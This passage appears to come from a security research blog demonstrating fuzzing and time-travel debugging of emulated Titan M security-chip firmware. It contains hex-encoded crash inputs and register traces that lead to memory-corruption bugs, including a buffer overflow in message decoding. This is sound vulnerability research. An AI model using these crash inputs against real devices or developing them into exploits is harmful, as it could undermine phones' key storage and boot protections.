#2: nugget_request Identity 0x3 089c9c98870a12cb02dc956f8d9ff19c782333eae17b674d
== [timeout] ==
#1: nugget_request Keymaster 0x8 
#2: nugget_request Identity 0x1 
#3: nugget_request Identity 0x13 
#4: nugget_request Identity 0xd 0a9a03b7e8202be18354afb07e2babfea2b8899b72f00dd5
#5: nugget_request Keymaster 0x10 0800128e01d3b2cce2e869c6a92d7a96fe788a1c7fb394
#6: nugget_request Avb 0x6 0897d8bfa10c
#7: nugget_request Avb 0x9 080112a00553df7a2dfb7fd65816728aec41388ca14dac35a4798
#8: nugget_request Weaver 0x1 08b7a9e9a8021210f2375e743f6c449aeb94f060899d10f21a
#9: nugget_request Identity 0x2 08e4ced7fd0112b901d98924c99e12c8381f2f5bc5bade7f
#10: nugget_request Keymaster 0x1b 0a0b08ebf5c8ed9afb8cbfd801
== [timeout] ==
#1: nugget_request Weaver 0x1 08fa9fd2bf0f1210f31889273f4ed85c62e5ca071edbbc701a
#2: nugget_request Avb 0xc 
#3: nugget_request Avb 0x3 08c901
#4: nugget_request Avb 0xf 08cd8085cc0310dff4e3d0b7abf0c15c1a7b87f4a504bb2f5a6f1
#5: nugget_request Avb 0xe 
#6: nugget_request Avb 0x5 0aa80308fbafb1d0b5efdca5a40110fdc6f18fd0e083dfc6011a8
#7: nugget_request Keymaster 0x16 
#8: nugget_request Identity 0x7 0800129b0229a4a5ee48711ebf660ccd1921d5ac5000b8e8
== [timeout] ==
#1: nugget_request Avb 0x3 085d
#2: nugget_request Avb 0x5 0a3a08af99b6e9ef99a3c34e10f4cdd4d6bbcfdef4791a240c27b
#3: nugget_request Weaver 0x3 089b8ccca50a
#4: nugget_request Avb 0x6 08f8be80be04
#5: nugget_request Identity 0xc 0898d5c181b7a48e917c10b8f5a7e38ca0fcd6d80118f3b3
#6: nugget_request Keymaster 0x0 0ae6058148b4cfd8ad3309ef7714c7f72c04bdac2e5f740
#7: nugget_request Keymaster 0x8 
#8: nugget_request Identity 0xa 
== [null_deref] ==
#1: nugget_request Identity 0xc 08f4a2c4aea5bf9c9b61109fa4a399bca9d8fe5118d9a3f1
#2: nugget_request Avb 0xb 08930112d203088a8dc69f0e12c903f2edb030fbc4eadeeb64515
#3: nugget_request Keymaster 0x11 08ffea9ab682d6aefb4710ce9dd6e5c88aebd19b0118f1
#4: nugget_request Identity 0x6 0afa053b5739564dfce1fbf34b3468b5d04abc1d53898b7c
== [timeout] ==
#1: nugget_request Weaver 0x2 0880adf2b30f12106bfa60af4ccdd13d615cd754af6ff707
#2: nugget_request Avb 0xe 
#3: nugget_request Keymaster 0x1c 08b2f4a9a90312f105f3be218e8c2866c3ac50572acc65
#4: nugget_request Weaver 0x0 
#5: nugget_request Weaver 0x2 08ecfdf28f0a12104e204d1baa7e15d0a3f89841e32ebe6a
#6: nugget_request Keymaster 0x9 
#7: nugget_request Weaver 0x1 08f984fdc80e121005d11b31a7c32362741cfdbce82b1aa71a
#8: nugget_request Identity 0x0 0801
#9: nugget_request Keymaster 0x22 
== [null_deref] ==
#1: nugget_request Keymaster 0x1c 0899f284c30212ca047b88ea289d6e28b041ab6f06e59a
#2: nugget_request Keymaster 0xd 0a0b08e5b7bcfe9febb6d0e401
#3: nugget_request Weaver 0x0 
#4: nugget_request Identity 0x6 0ab603ebab93edbc944066cf68d7e752dadd9c7948fa6dc5
== [data access of b1418ecf at pc 000534f0] ==
#1: nugget_request Identity 0x14 0ae4059d860f29b6231ff238274753b314d0f187b8bb4f0
#2: nugget_request Avb 0x0 
#3: nugget_request Weaver 0x2 08da9981d3041210454d771cee23744eeb37f40973e0e9f1
#4: nugget_request Identity 0xd 0af1020637de6d169c5471e3282e97f5f6e3a19b57f0b388

Most of the timeouts are because the pseudo-random number generator code is NOP’ed out: the guest would re-generate a pseudo-random buffer if it was all zero bytes…which it always is, because of the NOP’ing. Let’s put those timeouts on a shelf right now, because the reads from corrupted addresses deserve more immediate attention.

Interesting Outcome #1

== [data access of 9e7a09f8 at pc 000534f0] ==
#1: nugget_request Avb 0x4 08eecae6c9071287067f07a4ee840738246b5d4ab5d64dd4daf2667d05d9466d72f6881067536d03ac0374852568736b788fb0922b062ef34f0538f56474a126557d52b8184e0b1b1e3cc2e74a7a636e1873184bd1b51bee81522f6912da201c5d099c14aec56cfc782e2b473729045d21e9e77fbc0c804b16d6215e738ae0ac1e3951dd670ae129b2e1b3f92cf6851f2da010e43b49d542224998f099ec46891976edf2dce87bd423ea0d96ed14b5c9d6e2ca6179bdb5afb91097b857d2b7c3cd191ff9296ec2c4e36a7f9dba1d88fcf0f85ff7689030978b27d431ce3b249b0c7e3ec6ba324ff64bddcfe0d0e914c6cd6efee7143e28b1c2b942f16d27d1edd7bac91f060f6c8afaaaab462242e09d0d93fcb7664553a2ef0b7bf855f8cef9d8ee7b3ccc5f2db9b6290a2fee89658700f2e59492f1058e67205f200a50bfd5257649d84b8e7b4a9b14a88ea9ca6e63dda6618880fb7e64632c32e62b0a2c9d539ecc836a42aceef54e2fcb13f468f4a09c4e67b36e012253b453a7ac9cee2da42cbe058c42f010f945d2010ef965a490981983c088d8d00aa6036baeda19e05ebcab21815a52c2a8d91642dc16b07cd5238c9dd2aa41217ba3598280adb946272c979d75a14bb4a79bc37e1d97a946036d1ccea052aabaa28af1ac22a0cbafc26f84700607f2ee8ba88862c8ddfc32471058b2b56dda87b15b7aae8fbe113d25c99abd3d9cd5c890d4c634f663dae24b99cfe7a1e7895bb400cff53d845c1fad09be544a158ef814a8653dc7fbc71a4f70d57f155ac5116776ad54e997ab4b92acd33b787c88039b6182d426d6980b8f4d20d705a3ebbc0ca33e6e3c5a52512da7cd1b58b8a9c8c83df495abbdc5586148ea46adc9b3624c51b65ffed5e4b2b070b172e9904e740185f2883497fb7c4718ddf4a91cd02c2944b6f59acd5fd780cdc3b66a89179e1b51853e03c1cc30831e8cab0f830c025ba80ac6de38e74a83e2d0cefce86f550d58eb4504ad9e390a56a4ec4d8b4445454eb213336991054a30ea2d12e2915539ab83680e58ca3a7a046309e803c49f8826637d46dad4495da7b32d41a0e582d3ffdaeeda3e5ff5
#2: nugget_request Identity 0xd 0ab006ca1854fc143aae6684b7a287f508c3382610124822b5343b27a4ac3872a52e444e109162bdb518ffb95e565a908d2347d74686a61d0aab1fc049b64a86f14d429aca163574860e441ab45e00dd0b73f762d90657d543ad7fefc1165161207872aa2c565d0ada3a1d479550b3e73464aef019663010dd2ce6b3d34c07c2772eaf78e6a150eb638cfab0737b66e36d8cbd750d0455d28d6961eb4d3366c9ec9a5bac51823f14ab2f6e0f17195514cdfbaf33f5596eea8dea96896e795bc497aa14459f0cf84c9d56c56340db0d8c55839a11431e3b5b9a30308768ee846f1b696f2575bfa541d5fb9f548fc68e3c8ee6c70ebf638b0b95e08e85b705a651f125034463cfad7b945ba42f9469bf336a0008e59a66bf5cbf65d7c29c85518c552f2ff5f4e897d62b45397b63e57fd43be6193eb52369ffdd614c709ebdf9401a274a68ab50ca0cc86bc0bae02057f6e26d65fe30fc1dd46c8b1d0e95bd2ec4ebc7071d9360d7d635b4f53798c1759936ca84a100a8644c6b029693b1006df1d89112c3dbf2fb1c017a905ea313ef78b4a6a711df72ed6c1f2910800f2f99be43e6d55f5acaecdcc82e414468f250f12c1ae969495415d40601e573be6d7c60248a232ee6124cb350ad146b24f4857ed937c0c071a5932336e069f6ef956e3bd6ef1a8c7fe2571a9387dfb0589d2ce2c90dae0563a8e55a3947b0cd82375060214c23f299670c97020b103010b6dafd70521d8b4984a190b1f0473e52e29cf7674d07aaa015eb8051767b16f078f1bde0edde3d4afca5287ccc69180471d52c9f53642f1ab9485b750294e6f59ddf6bf3ccd552743325ca45a17454d722cda90a242a9901d57d63c0aaec3d427bfba1295304d9e68188eb5a3d02b5f6f0b26e8447d35f5825af775419035a5f901ad71f413d3a6abd4157a9818f044c9ba96aea588d529e69816469b2e00ce7481cd3b3137bcf7fce1e27e96e4c3669cf9dae99e7aed4eb5e0f1c1f182f4d2b6140b0f4ddfac1f99fb89f653e25b9cbbe2c001925d90e529d0e0e0a82eb94b547a22cddbf1146c964ec6aba461272e683eff4c7d01b9ebbc4925e883d22405c307cc75b094245e29ff22743ff1af293001b306b263df2ad19e6b6a73b182c5fc8ab3bbfeb3110edcde1f30918e2f5b2c10320b5d0f0f10328c3a083c30f30c797f9880e38b0c0de970740fbad92cb0a

It would be helpful to take this input and throw it against the Titan M in a debugger…so let’s do just that with Cobralily. Note that a real Titan M is designed to be tough to debug, because debugging defeats the security protections it exists to provide, but that doesn’t matter when emulating it.

First, let’s make sure the crash is reproducible by sending data into the guest using a command in the Cobralily debugger. 4. To prevent copying and pasting a long hex command every debugger session, it helps to create another commands file with the commands to load the snapshot being fuzzed and to send each packet listed in the outcome.

calculon@allmycircuits$ cat /tmp/run_crash.txt
load /tmp/titanm_ready.sav

nugget_request Avb 0x4 08eecae6c9071287067f07a4ee840738246b5d4ab5d64dd4daf2667d05d9466d72f6881067536d03ac0374852568736b788fb0922b062ef34f0538f56474a126557d52b8184e0b1b1e3cc2e74a7a636e1873184bd1b51bee81522f6912da201c5d099c14aec56cfc782e2b473729045d21e9e77fbc0c804b16d6215e738ae0ac1e3951dd670ae129b2e1b3f92cf6851f2da010e43b49d542224998f099ec46891976edf2dce87bd423ea0d96ed14b5c9d6e2ca6179bdb5afb91097b857d2b7c3cd191ff9296ec2c4e36a7f9dba1d88fcf0f85ff7689030978b27d431ce3b249b0c7e3ec6ba324ff64bddcfe0d0e914c6cd6efee7143e28b1c2b942f16d27d1edd7bac91f060f6c8afaaaab462242e09d0d93fcb7664553a2ef0b7bf855f8cef9d8ee7b3ccc5f2db9b6290a2fee89658700f2e59492f1058e67205f200a50bfd5257649d84b8e7b4a9b14a88ea9ca6e63dda6618880fb7e64632c32e62b0a2c9d539ecc836a42aceef54e2fcb13f468f4a09c4e67b36e012253b453a7ac9cee2da42cbe058c42f010f945d2010ef965a490981983c088d8d00aa6036baeda19e05ebcab21815a52c2a8d91642dc16b07cd5238c9dd2aa41217ba3598280adb946272c979d75a14bb4a79bc37e1d97a946036d1ccea052aabaa28af1ac22a0cbafc26f84700607f2ee8ba88862c8ddfc32471058b2b56dda87b15b7aae8fbe113d25c99abd3d9cd5c890d4c634f663dae24b99cfe7a1e7895bb400cff53d845c1fad09be544a158ef814a8653dc7fbc71a4f70d57f155ac5116776ad54e997ab4b92acd33b787c88039b6182d426d6980b8f4d20d705a3ebbc0ca33e6e3c5a52512da7cd1b58b8a9c8c83df495abbdc5586148ea46adc9b3624c51b65ffed5e4b2b070b172e9904e740185f2883497fb7c4718ddf4a91cd02c2944b6f59acd5fd780cdc3b66a89179e1b51853e03c1cc30831e8cab0f830c025ba80ac6de38e74a83e2d0cefce86f550d58eb4504ad9e390a56a4ec4d8b4445454eb213336991054a30ea2d12e2915539ab83680e58ca3a7a046309e803c49f8826637d46dad4495da7b32d41a0e582d3ffdaeeda3e5ff5
g
nugget_request Identity 0xd 0ab006ca1854fc143aae6684b7a287f508c3382610124822b5343b27a4ac3872a52e444e109162bdb518ffb95e565a908d2347d74686a61d0aab1fc049b64a86f14d429aca163574860e441ab45e00dd0b73f762d90657d543ad7fefc1165161207872aa2c565d0ada3a1d479550b3e73464aef019663010dd2ce6b3d34c07c2772eaf78e6a150eb638cfab0737b66e36d8cbd750d0455d28d6961eb4d3366c9ec9a5bac51823f14ab2f6e0f17195514cdfbaf33f5596eea8dea96896e795bc497aa14459f0cf84c9d56c56340db0d8c55839a11431e3b5b9a30308768ee846f1b696f2575bfa541d5fb9f548fc68e3c8ee6c70ebf638b0b95e08e85b705a651f125034463cfad7b945ba42f9469bf336a0008e59a66bf5cbf65d7c29c85518c552f2ff5f4e897d62b45397b63e57fd43be6193eb52369ffdd614c709ebdf9401a274a68ab50ca0cc86bc0bae02057f6e26d65fe30fc1dd46c8b1d0e95bd2ec4ebc7071d9360d7d635b4f53798c1759936ca84a100a8644c6b029693b1006df1d89112c3dbf2fb1c017a905ea313ef78b4a6a711df72ed6c1f2910800f2f99be43e6d55f5acaecdcc82e414468f250f12c1ae969495415d40601e573be6d7c60248a232ee6124cb350ad146b24f4857ed937c0c071a5932336e069f6ef956e3bd6ef1a8c7fe2571a9387dfb0589d2ce2c90dae0563a8e55a3947b0cd82375060214c23f299670c97020b103010b6dafd70521d8b4984a190b1f0473e52e29cf7674d07aaa015eb8051767b16f078f1bde0edde3d4afca5287ccc69180471d52c9f53642f1ab9485b750294e6f59ddf6bf3ccd552743325ca45a17454d722cda90a242a9901d57d63c0aaec3d427bfba1295304d9e68188eb5a3d02b5f6f0b26e8447d35f5825af775419035a5f901ad71f413d3a6abd4157a9818f044c9ba96aea588d529e69816469b2e00ce7481cd3b3137bcf7fce1e27e96e4c3669cf9dae99e7aed4eb5e0f1c1f182f4d2b6140b0f4ddfac1f99fb89f653e25b9cbbe2c001925d90e529d0e0e0a82eb94b547a22cddbf1146c964ec6aba461272e683eff4c7d01b9ebbc4925e883d22405c307cc75b094245e29ff22743ff1af293001b306b263df2ad19e6b6a73b182c5fc8ab3bbfeb3110edcde1f30918e2f5b2c10320b5d0f0f10328c3a083c30f30c797f9880e38b0c0de970740fbad92cb0a
g
calculon@allmycircuits$
calculon@allmycircuits$
calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_crash.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

r0  = 00021264   r1  = 00000000   r2  = 00010890   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = fffffffc   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e517   pc* = 0004e53c
APSR: a0000000 [ N   C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 00000000000849a0]
instruction counter: 00000000000849a0

        4e538 |     2379 ldrb r3, [r4, #0x4]

Guest CPU0 is waiting for interrupts @ 4e536
r0  = 00000006   r1  = 00000001   r2  = 00000000   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = 00021e90   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e523   pc* = 0004e53c
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 0000000000087a67]
instruction counter: 0000000000087a67

        4e538 |     2379 ldrb r3, [r4, #0x4]

CPU#0 ACCESS VIOLATION: PC 534f0 bad access address 9e7a09f8
CPU#0 reached exception irq 5 (0x5): BusFault @ PC 534f0
r0  = 382cbae2   r1  = 00000000   r2  = 00000001   r3  = 00000000
r4  = d6a6c4da   r5  = 9e7a09f9   r6  = 00015208   r7  = e11feed2
r8  = 9e7a09f8   r9  = 00015390   r10 = 0001d8c8   r11 = 382cbae2
r12 = 00000000   sp  = 00010400   lr  = fffffffd   pc* = 00046a60
APSR: 00000000 [           ]      mode/control: Handler/0 -> Privileged
sp_main = 00010400  sp_process = 00015158
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008bb9b

        46a5c |     024b ldr r3, [pc, #8]       [DEMO NOTE: this is the bus fault exception handler]

>

It shows exactly where the guest crashes again. Most debuggers would require running this same test case several times with breakpoints, but Cobralily’s time traveling capabilities make it possible to rewind back to find the root cause.

Let’s continue from the debugger state above. Detailing the specific addresses to rewind to would involve a bunch of screenshots from our Binary Ninja .bndb file, which goes too far into the weeds of the Titan M for this demo. The high level idea of what’s about to displayed is going back to the entry of the function, and then rewinding back to the computation of an argument passed to that function. We’ll add demo notes that help illustrate the thought process and also bring in information from our .bndb of the Titan M firmware.

CPU#0 ACCESS VIOLATION: PC 534f0 bad Read address 9e7a09f8
CPU#0 reached exception irq 5 (0x5): BusFault @ PC 534f0
r0  = 382cbae2   r1  = 00000000   r2  = 00000001   r3  = 00000000
r4  = d6a6c4da   r5  = 9e7a09f9   r6  = 00015208   r7  = e11feed2
r8  = 9e7a09f8   r9  = 00015390   r10 = 0001d8c8   r11 = 382cbae2
r12 = 00000000   sp  = 00010400   lr  = fffffffd   pc* = 00046a60
APSR: 00000000 [           ]      mode/control: Handler/0 -> Privileged
sp_main = 00010400  sp_process = 00015158
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008bb9b

        46a5c |     024b ldr r3, [pc, #8]       [DEMO NOTE: this is the bus fault exception handler]

> s -1
r0  = 382cbae2   r1  = 00000000   r2  = 00000001   r3  = 00000000
r4  = d6a6c4da   r5  = 9e7a09f8   r6  = 00015208   r7  = e11feed2
r8  = 9e7a09f8   r9  = 00015390   r10 = 0001d8c8   r11 = 382cbae2
r12 = 00000000   sp  = 00015178   lr  = 00067a5b   pc* = 000534f4
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015178
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008bb9a   [REWIND]

        534f0 | 15f8011b ldrb r1, [r5], #0x1    [DEMO NOTE: `r5` points to bogus data]

> prev fetch 534cc
r0  = 00015208   r1  = 9e7a09f8   r2  = 382cbae2   r3  = 000534cd
r4  = 000153b0   r5  = 000151c8   r6  = 3e3dcb40   r7  = e11feed2
r8  = 9e7a09f8   r9  = 00015390   r10 = 0001d8c8   r11 = 382cbae2
r12 = 00000000   sp  = 00015188   lr  = 00067a5b   pc* = 000534d0
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015188
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008bb8d   [REWIND]

        534cc |     70b5 push {r4, r5, r6, lr}  [DEMO NOTE: start of function, `r1` points to bogus data]

> prev fetch 67a54
r0  = 00015208   r1  = 00000003   r2  = 382cbae2   r3  = 00000000
r4  = 000153b0   r5  = 000151c8   r6  = 3e3dcb40   r7  = e11feed2
r8  = 9e7a09f8   r9  = 00015390   r10 = 0001d8c8   r11 = 382cbae2
r12 = 00000000   sp  = 00015188   lr  = 00067a51   pc* = 00067a58
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015188
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008bb87   [REWIND]

        67a54 |     4146 mov r1, r8             [DEMO NOTE: `r8` is source of bogus `r1` pointer]

> prev fetch 67a2a
r0  = 0001d8c8   r1  = 00015390   r2  = 0001a30b   r3  = 9e7866ed
r4  = 000153b0   r5  = 00069b09   r6  = 3e3c2835   r7  = e11e4bc7
r8  = 00069a82   r9  = 00015390   r10 = 0001d8c8   r11 = 00000000
r12 = 00000000   sp  = 00015188   lr  = 00067a1f   pc* = 00067a2e
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015188
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008ba76   [REWIND]

        67a2a | 02eb0308 add r8, r2, r3         [DEMO NOTE: `r2` is pointer, `r3` is bogus offset]

> dw r4+8 4
        000153b8: 9e7866ed                                        .fx.
> prev write r4+8 4
r0  = 00000001   r1  = 00000000   r2  = 00000000   r3  = 00000004
r4  = 9e7866ed   r5  = 00000000   r6  = 0001536c   r7  = 000153b8
r8  = 00069a82   r9  = 0001536c   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000151f0   lr  = 0004536f   pc* = 000453dc
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000151f0
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008bb9b]
instruction counter: 000000000008ae46   [REWIND]

        453d8 |     3c60 str r4, [r7]           [DEMO NOTE: this is where the protobuf gets decoded]

>

It looks like the root cause is some sort of out-of-bounds access. What’s neat about this is how quickly it helped figure out where the root cause of the vulnerability is, compared to using a non-time-traveling debugger, and especially compared to the total lack of debugging features available on the Titan M.

To spoil it in the end, the vulnerability here is a global memory buffer overflow. Demonstrating it involves a bunch of pointer-chasing and callback-chasing, which luckily isn’t hard to do with Cobralily, but reading it all can be a bit eye-glazing. Maybe there’s another crash that yields a more obvious vulnerability that will be easier to demonstrate.

Interesting Outcome #2

Among all the null dereferencess and stale stack data, eventually another candidate for a memory corruption vulnerability is found:

== [data access of db7e7e12 at pc 0004f9c0] ==
#1: nugget_request Identity 0xc 08b8aedcec84f2e5c9fb0110c3c88ef9b0d2d3e269189cd5a782e3c096e91420bdcbf40e28efbdcda2a18eb2a33032f801521842b7320ee37d936d87c9eae89bc70162662e62ff92cdc4f4cfb5555d0836b7d33d4bb0ee7f9eb417c380221665b986d39c16a168cddc05e0a6d6d1b550239f72f9b7f07fdbd8f984b8ab23e9101bfdf9fbcc7f766019b46592604f9d495e6ef378d8154f06290f9331791fd0abd744988853992b3838b78f467c859472cebf5102107cea5c98ca5fd333ee98206fe73e96a0912010009337e9d8cabb6a95afda8ae89416e88d8d39d2da3cc7393aa14ee24cb983dfa61590f7e227acf8c3672517b453c80230e02b45916c147b4d0550d3e8441ecdd070d64fe5b01bd7591262e3f16c770ad40368d1f017df53b40ed0a4095594950a38d4889af8c2ddb0832740eceea0b2effe87adc50148c9eda5cb0652d70223ef1c2b0b9e2c000f634c24489dc017bffb3df609bd94325d1b73eb404f1672b556477628c0d771b295eec4f905985fd26713e3be77b975b5550763fbd7d702a4fc2e1312b35fbb58d38b3d658b7794ff36b75b1d45c224bc6be6843ef822654d2ed99f6f449728789a6c8fe3e9ce2ea5b3c3926dd1681c127e7edb7273c2d6e0cc59398eb126eaa47132897fbe3cb10ae3a758bad21a96b6bca4d0d0b5adc1d0a7edae6648b0760853b78f11da2f60de58a5d6c5ed9a2aa4242be86e4b8d19353f83245612b5243808f489ec9e918043a383ad89f45db3002f5c8616461bb7a8a8827264af658a0fad369dc80e345d2e982a500b1713a65aa6753a162c655859217f87eefca805f87f26883f9a3ef7302a9ec6707ef6a17a7532ca1f68495a5908cddb7844f0acbfa32ea4e2c86290e28597cc760c1258348caf04cdeeb1304bee97e425032b8b8dc5ce53e81f6cafd7befe02d88d5e

Even nicer, it’s a crash from the first message. To triage it, let’s run it and rewind back the beginning of each function in the call stack.

calculon@allmycircuits$ cat /tmp/run_crash.txt 
load /tmp/titanm_ready.sav

nugget_request Identity 0xc 08b8aedcec84f2e5c9fb0110c3c88ef9b0d2d3e269189cd5a782e3c096e91420bdcbf40e28efbdcda2a18eb2a33032f801521842b7320ee37d936d87c9eae89bc70162662e62ff92cdc4f4cfb5555d0836b7d33d4bb0ee7f9eb417c380221665b986d39c16a168cddc05e0a6d6d1b550239f72f9b7f07fdbd8f984b8ab23e9101bfdf9fbcc7f766019b46592604f9d495e6ef378d8154f06290f9331791fd0abd744988853992b3838b78f467c859472cebf5102107cea5c98ca5fd333ee98206fe73e96a0912010009337e9d8cabb6a95afda8ae89416e88d8d39d2da3cc7393aa14ee24cb983dfa61590f7e227acf8c3672517b453c80230e02b45916c147b4d0550d3e8441ecdd070d64fe5b01bd7591262e3f16c770ad40368d1f017df53b40ed0a4095594950a38d4889af8c2ddb0832740eceea0b2effe87adc50148c9eda5cb0652d70223ef1c2b0b9e2c000f634c24489dc017bffb3df609bd94325d1b73eb404f1672b556477628c0d771b295eec4f905985fd26713e3be77b975b5550763fbd7d702a4fc2e1312b35fbb58d38b3d658b7794ff36b75b1d45c224bc6be6843ef822654d2ed99f6f449728789a6c8fe3e9ce2ea5b3c3926dd1681c127e7edb7273c2d6e0cc59398eb126eaa47132897fbe3cb10ae3a758bad21a96b6bca4d0d0b5adc1d0a7edae6648b0760853b78f11da2f60de58a5d6c5ed9a2aa4242be86e4b8d19353f83245612b5243808f489ec9e918043a383ad89f45db3002f5c8616461bb7a8a8827264af658a0fad369dc80e345d2e982a500b1713a65aa6753a162c655859217f87eefca805f87f26883f9a3ef7302a9ec6707ef6a17a7532ca1f68495a5908cddb7844f0acbfa32ea4e2c86290e28597cc760c1258348caf04cdeeb1304bee97e425032b8b8dc5ce53e81f6cafd7befe02d88d5e
g
calculon@allmycircuits$
calculon@allmycircuits$
calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_crash.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

r0  = 00021264   r1  = 00000000   r2  = 00010890   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = fffffffc   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e517   pc* = 0004e53c
APSR: a0000000 [ N   C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 00000000000849a0]
instruction counter: 00000000000849a0

        4e538 |     2379 ldrb r3, [r4, #0x4]

CPU#0 ACCESS VIOLATION: PC 4f9c0 bad Read address db7e7e12
CPU#0 reached exception irq 5 (0x5): BusFault @ PC 4f9c0
r0  = 00014f30   r1  = 00000045   r2  = db7e7e13   r3  = db7e7e12
r4  = 00014f58   r5  = 00000157   r6  = 000567ec   r7  = 00014f44
r8  = 4d971738   r9  = fb939790   r10 = 0004f9b5   r11 = 00014f30
r12 = 0c7b8dbf   sp  = 00010400   lr  = fffffffd   pc* = 00046a60
APSR: 20000000 [     C     ]      mode/control: Handler/0 -> Privileged
sp_main = 00010400  sp_process = 00014e98
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e4b5

        46a5c |     024b ldr r3, [pc, #8]       [DEMO NOTE: this is the bus fault handler]

> s -1
r0  = 00014f30   r1  = 00000045   r2  = db7e7e13   r3  = db7e7e12
r4  = 00014f58   r5  = 00000157   r6  = 000567ec   r7  = 00014f44
r8  = 4d971738   r9  = fb939790   r10 = 0004f9b5   r11 = 00014f30
r12 = 0c7b8dbf   sp  = 00014eb8   lr  = 0004f9f3   pc* = 0004f9c4
APSR: 20000000 [     C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014eb8
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e4b4   [REWIND]

        4f9c0 |     1970 strb r1, [r3]          [DEMO NOTE: r3 is a bogus pointer]

> prev fetch 4f9ba
r0  = 00014f30   r1  = 00000045   r2  = 000567ec   r3  = 0000003f
r4  = 00014f58   r5  = 00000157   r6  = 000567ec   r7  = 00014f44
r8  = 4d971738   r9  = fb939790   r10 = 0004f9b5   r11 = 00014f30
r12 = 0c7b8dbf   sp  = 00014eb8   lr  = 0004f9f3   pc* = 0004f9be
APSR: 20000000 [     C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014eb8
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e4b1   [REWIND]

        4f9ba |     0368 ldr r3, [r0]           [DEMO NOTE: this is where r3 got populated]

> dw r0 4
        00014f30: db7e7e12                                        .~~.
> prev write r0
r0  = db7e7e12   r1  = 0000003f   r2  = 000567ec   r3  = 00014f44
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f28   lr  = 00068edd   pc* = 0004fdc2
APSR: 20000000 [     C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f28
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e49a   [REWIND]

        4fdbe |     0290 str r0, [sp, #0x8]     [DEMO NOTE: r0 is the bogus pointer]

> prev fetch 4fdb0
r0  = db7e7e12   r1  = 00000040   r2  = 000567ec   r3  = 000152f3
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f48   lr  = 00068edd   pc* = 0004fdb4
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f48
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e493   [REWIND]

        4fdb0 |     0cb4 push {r2, r3}          [DEMO NOTE: entry of calling function, r0 is bogus pointer]

> prev fetch 68ed0
r0  = db7e7e12   r1  = 000567ec   r2  = 00000020   r3  = 000152f3
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
